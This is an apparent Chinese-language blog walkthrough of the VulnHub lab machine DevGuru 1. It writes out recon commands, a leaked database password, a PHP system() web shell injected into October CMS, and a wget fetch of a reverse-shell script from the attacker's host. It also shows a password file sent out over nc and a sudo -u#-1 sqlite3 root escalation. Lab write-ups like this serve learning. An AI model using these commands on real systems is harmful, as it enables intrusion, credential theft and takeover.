URL : https://www.vulnhub.com/entry/devguru-1,620/

IP : 192.168.1.138

覺得打 Tryhackme 也一陣子了,可以回來打打看 VulnHub 的 OSCP 模擬題試試水溫,不過看樣子打起來還是有一點辛苦QQQ

部屬機器

  • 載下來解壓縮後,是虛擬盒子的 OVA,開虛擬盒子,網路改橋接試試看很棒,這台機器自動的告訴我們 IP 惹,不需要用奇怪的方法來找 IP

Recon

  • 先掃 Portrustscan -a 192.168.1.138
  • 發現有開 22,80,8585nmap -A -p22,80,8585 192.168.1.138- 用 nmap 大致掃一下python3 dirsearch.py -u http://192.168.1.138/- 用 Dirsearch 掃描,觀察看看有沒有什麼有趣ㄉ東西
  • 發現他的 .git 竟然存在,可以嘗試用 Githack 把資料復原
  • 還有一個 adminer 是類似 PHP My Admin 的東西觀察 80 port-
  • 是一個叫做 October 的 CMS
  • Adminer 版本是 4.7.7觀察 8080 port- 是一個 Gitea 版本是 1.12.5
  • 版本有符合的 Exploithttps://www.exploit-db.com/exploits/49571
  • wget https://www.exploit-db.com/download/49571 -O 49571.py
  • 發現執行的話需要密碼,所以先放一邊留存- 發現一個唯一的使用者叫做 frank
  • 他沒有公開的 repoGithack- git clone https://github.com/lijiejie/GitHack
  • python GitHack.py http://192.168.1.138/.git/復原之後覺得裡面的資料滿多的,亂晃一下發現有趣的東西
  • 資料庫密碼- 帳號 : october
  • 密碼 : SQ66EBYx4GT3byXH`
  • 資料庫名稱 octoberdb嘗試使用 Adminer 登入- http://192.168.1.138/adminer.php
  • 發現可以順利登入

破解 Hash 成功登入

  • 觀察 Backend Users 發現了一組使用者以及密碼 hash
  • 使用者名稱 : frank
  • 密碼 Hash : $2y$10$bp5wBfbAN6lMYT27pJMomOGutDF2RKZKYZITAupZ3x8eAaYgN6EKK觀察網站- http://192.168.1.138/backend/backend/auth/signin
  • 使用 frank 做為帳號登入
  • 但我們需要知道密碼是什麼 QQQ暴力破解?- john frank.txt --wordlist=rockyou.txt
  • 在我家的超級電腦跑了 10 分鐘也沒有結果,看起來應該不是
  • 這到底是什麼 hash?- 使用這個網站 https://www.tunnelsup.com/hash-analyzer/
  • 貼上 hash 值$2y$10$bp5wBfbAN6lMYT27pJMomOGutDF2RKZKYZITAupZ3x8eAaYgN6EKK可以自動分析出他叫做 bcrypt我們可以尋找 bcrypt 的產生器,幫我們產出一組符合規格的 hash- https://bcrypt-generator.com/
  • 我們隨便輸入一組密碼
  • meowmeow12345他就產出惹$2a$12$LnBY8Lzpcq1/Z90x41QZT.fkJKfcWvFtYzQc9Ex4vzAHSvFLn6.Ce但登入卻一直噴錯 QQ繼續挖 DB 會發現帳號被 suspend 了QQ那我們就直接把這一筆刪掉ㄅ !!另外還觀察到使用者的 DB 裡面有一組 persist_code- 暫時不知道是幹嘛的,先存下來備用
  • $2y$10$hnhKQ8hTe9b3SoZgXhBuT.HG17VvEdBXe86hEq1qdIknkcM1rbxYi順利登入 CMS- 想試試看在上傳檔案的地方上傳 webshell
  • 或是透過修改檔名之類的方法先傳 .txt 再改 .php 都失敗
  • SSTI- 在 CMS 的 Assets 地方發現可以 SSTI
  • 輸入錯誤的資料會爛掉
  • 從 Debug 頁面可以看出他是使用 TWIG 做為模板引擎嘗試使用一些測試的 Payload但大多數都失敗 QQ插入 Command- 在 October CMS 上,可以看到
  • https://octobercms.com/docs/cms/pages
  • 可以直接插入 Codephp function onStart() { system($_GET['A']); }
  • 然後就成功ㄌ!

進入系統

  • 嘗試用 Command 載 reverse shell192.168.1.138/?A=wget 192.168.1.106:8000/s_l -O /tmp/s
  • 戳 Reverse shell- nc -nvlp 7877
  • 成功!LinPeas- wget 192.168.1.106:8000/linpeas.shbash linpeas.sh- 找到可能有用的密碼!!
  • 把密碼檔案用 nc 傳出來- nc -l -p 1234 > meow
  • `nc 192.168.1.106 1234

登入 Gitea

提權

  • sudo -l 觀察
  • 發現我們可以用 sudo 執行 sqlite3再跑一次 Linpeas-
  • 看起來沒什麼特別,但我們可以注意 sudo 版本sudo -V-
  • 發現是 1.8.21p2 版本CVE-2019-14287
  • 可以用 sudo -u#-1 binary 來繞密碼GTFOBins 可以找到 SQLite3 的 sudo 利用方法- https://gtfobins.github.io/gtfobins/sqlite3/#sudo
  • 串成完整的 Payloadsudo -u#-1 /usr/bin/sqlite3 /dev/null '.shell /bin/sh'執行!!- 取得Root Flag-